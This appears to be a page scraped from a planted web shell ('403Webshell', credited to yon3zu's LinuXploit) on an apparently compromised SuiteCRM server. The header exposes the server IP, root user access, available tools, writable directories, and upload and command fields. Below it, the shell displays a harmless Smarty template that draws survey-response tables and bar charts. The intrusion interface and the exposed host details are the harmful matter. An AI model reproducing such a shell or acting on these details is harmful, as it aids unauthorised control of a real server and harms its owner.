403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/AppointmentScheduler-Don/modules/Surveys/tpls/Reports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/AppointmentScheduler-Don/modules/Surveys/tpls/Reports/matrix.tpl
{foreach from=$question.responses key=responseId item=response}
    <h3>{$response.label}</h3>
    <table style="width: 25%" class="table table-bordered">
        <tr>
            <th>{$mod.LBL_RESPONSE_ANSWER}</th>
            <th>{$mod.LBL_RESPONSE_COUNT}</th>
        </tr>
        {foreach from=$response.options item=option}
            <tr>
                <td>{$option.label}</td>
                <td>{$option.count}</td>
            </tr>
        {/foreach}
    </table>
    <canvas width="600" height="400" id='{$responseId}Chart' class=''></canvas>
    <script>
        {literal}
        $(document).ready(function () {
          var chartData = {/literal}{$response.chartData|@array_values|@json_encode}{literal};
          var chartLabels = {/literal}{$response.chartLabels|@array_values|@json_encode}{literal};
          var max = Math.max.apply(null, chartData);
          new RGraph.Bar({
            id: '{/literal}{$responseId}{literal}Chart',
            data: chartData,
            options: {
              title: '{/literal}{$question.name} - {$response.label}{literal}',
              textSize: 10,
              titleSize: 10,
              textAngle: 30,
              colorsSequential: true,
              colors: ['#f08377', '#534d64', '#778591', '#bfcad3', '#d8f5ee'],
              gutterBottom: 110,
              gutterLeft: 50,
              tooltips: function (ind) {
                return chartLabels[ind] + " - " + chartData[ind];
              },
              tooltipsEvent: 'onmousemove',
              labels: chartLabels,
                {/literal}
                {if $response.chartData|@array_values|@max < 10}
              numyticks: max,
              ylabelsCount: max,
              ymax: max,
                {/if}
                {literal}
            }
          }).draw();
        });
        {/literal}
    </script>
{/foreach}

Youez - 2016 - github.com/yon3zu
LinuXploit